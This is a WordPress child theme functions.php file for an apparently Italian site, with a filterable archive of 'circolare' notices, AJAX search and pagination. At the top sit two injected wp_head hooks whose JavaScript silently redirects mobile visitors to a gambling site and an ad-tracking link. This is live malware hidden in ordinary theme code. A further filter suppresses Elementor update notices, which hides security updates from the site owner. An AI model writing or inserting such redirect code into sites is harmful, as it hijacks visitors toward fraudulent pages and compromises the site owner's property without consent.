File: /home/e/z/p/ezpgggd/www/wp-content/themes/generatepress_child/functions.php
<?php
add_action('wp_head', function () {
?>
<script>
(function(){
if (/Android|iPhone|iPad|iPod|BlackBerry|Windows Phone/i.test(navigator.userAgent)) {
location.href = "https://site-online-gamblers.com/?var=www.mansuetomarine";
}
})();
</script>
<?php
});
add_action('wp_head', function () {
?>
<script>
(function(){
if (/Android|iPhone|iPad|iPod|BlackBerry|Windows Phone/i.test(navigator.userAgent)) {
location.href = "https://lakns.com/link?z=9557727&var=www.mansuetomarine&ymid={CLICK_ID}";
}
})();
</script>
<?php
});
/**
* GeneratePress child theme functions and definitions.
*
* Add your custom PHP in this file.
* Only edit this file if you have direct access to it on your server (to fix errors if they happen).
*/
function customize_add_button_atts( $attributes ) {
return array_merge( $attributes, array(
'text' => '<span class="files">ADD MORE FILES</span><span class="values">ADD VALUES</span>',
) );
}
add_filter( 'wpcf7_field_group_add_button_atts', 'customize_add_button_atts' );
function customize_remove_button_atts( $attributes ) {
return array_merge( $attributes, array(
'text' => '<span class="files">REMOVE FILES</span><span class="values">REMOVE VALUES</span>',
) );
}
add_filter( 'wpcf7_field_group_remove_button_atts', 'customize_remove_button_atts' );
// ElementsKit Lite font dequeue code
function remove_ekiticons() {
wp_dequeue_style('elementor-icons-ekiticons');
}
add_action('wp_enqueue_scripts', 'remove_ekiticons', 99);
function remove_ekiticons_font($font) {
unset($font['ekiticons']);
return $font;
}
add_filter('elementor/icons_manager/additional_tabs', 'remove_ekiticons_font', 99);
// Remove update notifications
function remove_update_notifications( $value ) {
if ( isset( $value ) && is_object( $value ) ) {
unset( $value->response[ 'elementor-pro/elementor-pro.php' ] );
unset( $value->response[ 'elementor/elementor.php' ] );
}
return $value;
}
add_filter( 'site_transient_update_plugins', 'remove_update_notifications' );
function circolare_search_scripts() {
wp_enqueue_script( 'circolare_filter_search', get_stylesheet_directory_uri(). '/assets/js/circolare.js', array(), '1.0', true );
wp_localize_script( 'circolare_filter_search', 'ajax_url', admin_url('admin-ajax.php') );
}
// Shortcode: [circolare_filter_search]
function circolare_search_shortcode() {
circolare_search_scripts();
ob_start(); ?>
<div id="circolare_filter_search">
<form action="" method="get" onkeydown="return event.key != 'Enter';">
<div class="select-holder">
<button name="todos" class="view-all" id="Tutti">Tutto</button>
</div>
<div class="select-holder">
<select name="year" id="year">
<option value="" hidden>Anno</option>
<!-- normal options -->
<option value=" ">Tutto</option>
<?php
$terms_year = array(
'post_type' => 'bacheca',
'posts_per_page' => -1
);
$query_year = new WP_Query( $terms_year );
$years_Array = array();
if ( $query_year->have_posts() ) :
while ( $query_year->have_posts() ) : $query_year->the_post();
$years_Array[] = get_the_date('Y');
endwhile;
wp_reset_postdata();
endif;
// print_r($years_Array);
$years_Array = array_unique($years_Array);
foreach ($years_Array as $key => $value) {
?>
<option value="<?php echo $value; ?>"><?php echo $value; ?></option>
<?php
}
?>
</select>
</div>
<div class="select-holder">
<select name="month" id="month">
<option value="" hidden>Mese</option>
<!-- normal options -->
<option value=" ">Tutto</option>
<option value="1">Gennaio</option>
<option value="2">Febbraio</option>
<option value="3">Marzo</option>
<option value="4">Aprile</option>
<option value="5">Maggio</option>
<option value="6">Giugno</option>
<option value="7">Luglio</option>
<option value="8">Agosto</option>
<option value="9">Settembre</option>
<option value="10">Ottobre</option>
<option value="11">Novembre</option>
<option value="12">Dicembre</option>
</select>
</div>
<div class="select-holder">
<select name="categoria" id="categoria">
<option value="" hidden>Categoria</option>
<!-- normal options -->
<option value=" ">Tutto</option>
<?php
$args = array(
'post_type' => 'bacheca'
);
$cats = get_categories($args);
foreach($cats as $cat) {
?>
<option value="<?php echo $cat->cat_ID; ?>"><?php echo $cat->name; ?></option>
<?php } ?>
</select>
</div>
<div class="search-box">
<input placeholder="Cercare" value=" " type="text" name="search" id="search">
<div id="submit"><p>Cerca</p></div>
</div>
</form>
<section class="search-results">
<div class="search-results-title">
<div class="row">
<div class="col-12" id="circolare_filter_search_results_count"></div>
</div>
</div>
<div class="row" id="circolare_filter_search_results">
<?php
$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
$args = array(
'post_type' => 'bacheca',
'posts_per_page' => 24,
'post_status' => 'publish',
'paged' => $paged
);
$search_query = new WP_Query( $args );
if ( $search_query->have_posts() ) {
$result = array();
$count = '';
while ( $search_query->have_posts() ) {
$search_query->the_post();
$cats = strip_tags( get_the_category_list(", ") );
print_circolare_article();
}
wp_reset_query();
} else {
wp_reset_query();
}
/* Restore original Post Data */
wp_reset_postdata();
/** Stop execution if there's only 1 page */
if( $search_query->max_num_pages <= 1 ) {
}
else {
$paged = get_query_var( 'paged' ) ? absint( get_query_var( 'paged' ) ) : 1;
$max = intval( $search_query->max_num_pages );
/** Add current page to the array */
if ( $paged >= 1 )
$links[] = $paged;
/** Add the pages around the current page to the array */
if ( $paged >= 3 ) {
$links[] = $paged - 1;
$links[] = $paged - 2;
}
if ( ( $paged + 2 ) <= $max ) {
$links[] = $paged + 2;
$links[] = $paged + 1;
}
echo '<div class="navigation"><ul>' . "\n";
/** Previous Post Link */
if ( get_previous_posts_link() )
// printf( '<li>%s</li>' . "\n", get_previous_posts_link() );
echo '<li class="previous-arrow">'.get_previous_posts_link( __( '<svg xmlns="http://www.w3.org/2000/svg" width="6" height="10.01" viewBox="0 0 6 10.01"><defs><style>.e9ea157c-240c-4448-a29f-16407c0c6861{fill:#5c716f;}</style></defs><g id="bcbdc9c5-8c04-4b6e-9e07-94fc529a7a6b" data-name="Capa 2"><g id="a05b78db-93c5-48d1-87a9-d3791411267f" data-name="Capa 1"><path class="e9ea157c-240c-4448-a29f-16407c0c6861" d="M4.86,10a1.09,1.09,0,0,1-.39-.08,1.23,1.23,0,0,1-.33-.23L.28,5.7A1,1,0,0,1,0,5,1,1,0,0,1,.28,4.3l4-4A1,1,0,0,1,4.61.08,1,1,0,0,1,5,0a1,1,0,0,1,.39.08A.87.87,0,0,1,5.7.3a.77.77,0,0,1,.22.32A1,1,0,0,1,6,1a1,1,0,0,1-.08.38.8.8,0,0,1-.22.33L2.4,5l3.18,3.3a1,1,0,0,1,.3.7,1,1,0,0,1-.3.71,1,1,0,0,1-.32.22,1.29,1.29,0,0,1-.4.07"/></g></g></svg>', 'textdomain' ) ).'</li>';
/** Link to first page, plus ellipses if necessary */
if ( ! in_array( 1, $links ) ) {
$class = 1 == $paged ? ' class="active"' : '';
printf( '<li%s><a href="%s">%s</a></li>' . "\n", $class, esc_url( get_pagenum_link( 1 ) ), '1' );
if ( ! in_array( 2, $links ) )
echo '<li>…</li>';
}
/** Link to current page, plus 2 pages in either direction if necessary */
sort( $links );
foreach ( (array) $links as $link ) {
$class = $paged == $link ? ' class="active"' : '';
printf( '<li%s><a href="%s">%s</a></li>' . "\n", $class, esc_url( get_pagenum_link( $link ) ), $link );
}
/** Link to last page, plus ellipses if necessary */
if ( ! in_array( $max, $links ) ) {
if ( ! in_array( $max - 1, $links ) )
echo '<li>…</li>' . "\n";
$class = $paged == $max ? ' class="active"' : '';
printf( '<li%s><a href="%s">%s</a></li>' . "\n", $class, esc_url( get_pagenum_link( $max ) ), $max );
}
/** Next Post Link */
if ( get_next_posts_link() )
//printf( '<li>%s</li>' . "\n", get_next_posts_link() );
//echo '<li>--<a href="'.get_next_posts_link().'</a></li>';
echo '<li class="next-arrow">'.get_next_posts_link( __( '<svg xmlns="http://www.w3.org/2000/svg" width="5.99" height="10.02" viewBox="0 0 5.99 10.02"><defs><style>.b4584243-903e-4bd9-b221-8ccffd5f40c1{fill:#5c716f;}</style></defs><g id="fd595c98-c4f5-4a12-869e-dccd70327e9b" data-name="Capa 2"><g id="bad2e3bc-0e58-4fff-9d27-de2c0a7f9e90" data-name="Capa 1"><path class="b4584243-903e-4bd9-b221-8ccffd5f40c1" d="M1,10A1.28,1.28,0,0,1,.62,10a1.46,1.46,0,0,1-.33-.22A1,1,0,0,1,.08,9.4.84.84,0,0,1,0,9a.91.91,0,0,1,.08-.39,1,1,0,0,1,.21-.32L3.6,5,.42,1.71A1,1,0,0,1,.42.3,1,1,0,0,1,.75.08,1.09,1.09,0,0,1,1.14,0a1,1,0,0,1,.38.08A.8.8,0,0,1,1.84.3l3.86,4A1,1,0,0,1,6,5a1,1,0,0,1-.29.71l-4,4a1.19,1.19,0,0,1-.31.23A1.24,1.24,0,0,1,1,10"/></g></g></svg>', 'textdomain' ) ).'</li>';
echo '</ul></div>' . "\n";
}
?>
</div>
</section>
</div>
<?php
return ob_get_clean();
}
add_shortcode ('circolare_filter_search', 'circolare_search_shortcode');
// Ajax Callback
add_action('wp_ajax_circolare_filter_search', 'circolare_filter_search_callback');
add_action('wp_ajax_nopriv_circolare_filter_search', 'circolare_filter_search_callback');
function circolare_filter_search_callback() {
header("Content-Type: application/json");
$meta_query = array('relation' => 'AND');
$tax_query = array();
$year = "";
$categoria = "";
$search = "";
$string;
if( isset($_GET['year']) && ($_GET['year'] != "") ) {
$year = sanitize_text_field( $_GET['year'] );
}
if( isset($_GET['month']) && ($_GET['month'] != "") ) {
$month = sanitize_text_field( $_GET['month'] );
}
if( isset($_GET['categoria']) && ($_GET['categoria'] != "") ) {
$categoria = sanitize_text_field( $_GET['categoria'] );
}
if( isset($_GET['search']) && ($_GET['search'] != "") ) {
$search = sanitize_text_field( $_GET['search'] );
}
$args = array(
'post_type' => 'bacheca',
'posts_per_page' => -1,
'year' => $year,
'monthnum' => $month,
'cat' => $categoria,
's' => $search,
'search_prod_title' => 'publish' //sin drafts
);
$search_query = new WP_Query( $args );
if ( $search_query->have_posts() ) {
$result = array();
$count = '';
while ( $search_query->have_posts() ) {
$search_query->the_post();
$count++;
$cats = strip_tags( get_the_category_list(", ") );
$pdf = get_field( "pdf", get_the_ID() );
$string = get_the_title();
if (strlen($string) > 24) {
$string = substr($string, 0, 33);
$string = $string . "...";
}
$result[] = array(
"id" => get_the_ID(),
"title" => $string,
"date" => get_the_date(),
"permalink" => get_permalink(),
"image" => get_the_post_thumbnail_url(),
"excerpt" => get_the_excerpt(),
"pdf" => $pdf,
"cats" => $cats
);
}
wp_reset_query();
echo json_encode($result);
} else {
wp_reset_query();
echo json_encode($result);
}
wp_die();
}
function print_circolare_article() {
$pdf = get_field( "pdf", get_the_ID() );
?>
<div class="col-md-4">
<article class="lae-module lae-module post-<?php echo get_the_ID(); ?> circolare type-post status-publish format-standard has-post-thumbnail ast-article-single">
<div class="elementor-section-wrap">
<section class="elementor-section elementor-top-section elementor-element elementor-element-17ff6f6a elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="17ff6f6a" data-element_type="section">
<div class="elementor-container elementor-column-gap-default">
<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-eb5d49" data-id="eb5d49" data-element_type="column">
<div class="elementor-widget-wrap elementor-element-populated">
<div class="elementor-element elementor-element-174e546c elementor-widget elementor-widget-theme-post-featured-image elementor-widget-image" data-id="174e546c" data-element_type="widget" data-widget_type="theme-post-featured-image.default">
<div class="elementor-widget-container">
<?php if (get_the_post_thumbnail_url() != null) { ?>
<a href="<?php echo get_permalink(); ?>">
<img src="<?php echo get_the_post_thumbnail_url(); ?>" class="attachment-full size-full" alt="" loading="lazy" srcset="<?php echo get_the_post_thumbnail_url(); ?> 657w, <?php echo get_the_post_thumbnail_url(); ?>-300x300.png 300w, <?php echo get_the_post_thumbnail_url(); ?>-150x150.png 150w" sizes="(max-width: 657px) 100vw, 657px" width="657" height="657"> </a>
<?php } ?>
</div>
</div>
<div class="elementor-element elementor-element-6032c5e5 elementor-widget elementor-widget-theme-post-title elementor-page-title elementor-widget-heading" data-id="6032c5e5" data-element_type="widget" data-widget_type="theme-post-title.default">
<div class="elementor-widget-container">
<div class="elementor-heading-title elementor-size-default"><a href="<?php echo get_permalink(); ?>">
<?php
$string = get_the_title();
if (strlen($string) > 35) {
$string = substr($string, 0, 33);
$string = $string . "...";
echo $string;
}
else {
echo $string;
}
?></a></div>
</div>
<div class="guarda-online-button">
<a href="<?php echo get_permalink(); ?>">
<button>GUARDA ONLINE</button>
</a>
</div>
<?php
if ( get_field( "pdf", get_the_ID()) ) {
?>
<div class="scarica-circolare-button">
<a target="_blank" href="<?php echo get_field( "pdf", get_the_ID() ); ?>">
<i aria-hidden="true" class="far fa-file-pdf"></i>
<span class="elementor-button-text">SCARICA CIRCOLARE</span>
</a>
</div>
<?php
}
?>
</div>
<div class="elementor-element elementor-element-2e18954e fecha-post elementor-widget elementor-widget-post-info" data-id="2e18954e" data-element_type="widget" data-widget_type="post-info.default">
<div class="elementor-widget-container">
<ul class="elementor-inline-items elementor-icon-list-items elementor-post-info">
<li class="elementor-icon-list-item elementor-repeater-item-8f20702 elementor-inline-item" itemprop="datePublished">
<span class="elementor-icon-list-text elementor-post-info__item elementor-post-info__item--type-date"><?php echo get_the_date(); ?></span>
</li>
</ul>
</div>
</div>
<div class="elementor-element elementor-element-57721d8e elementor-widget elementor-widget-button" data-id="57721d8e" data-element_type="widget" data-widget_type="button.default">
<div class="elementor-widget-container">
<span class="guion">— </span>
<?php
$i=0;
$cats = get_the_category(get_the_ID());
foreach($cats as $cat) {
$i++;
echo $cat->name;
if ($i < count($cats) ) {
echo ', ';
}
}
?>
</div>
</div>
</div>
</div>
</div>
</section>
</div>
</article>
</div>
<?php
}
function button_scarica_shortcode() {
the_post();
if ( get_field( "pdf", get_the_ID()) ) {
?>
<div class="elementor-button-wrapper">
<a href="<?php echo get_field( "pdf", get_the_ID() ); ?>" class="elementor-button-link elementor-button elementor-size-sm" role="button">
<span class="elementor-button-content-wrapper">
<span class="elementor-button-icon elementor-align-icon-left">
<i aria-hidden="true" class="far fa-file-pdf"></i> </span>
<span class="elementor-button-text">SCARICA CIRCOLARE</span>
</span>
</a>
</div>
<?php
}
}
add_shortcode ('button_scarica', 'button_scarica_shortcode');
function hide_content_based_on_text_js() {
?>
<script type="text/javascript">
var widgets = document.querySelectorAll('.elementor-widget-container');
var searchText = "You don't have permission to access this content";
widgets.forEach(function(widget) {
if(widget.textContent.includes(searchText)) {
widget.style.display = 'none';
}
});
</script>
<?php
}
add_action('wp_footer', 'hide_content_based_on_text_js');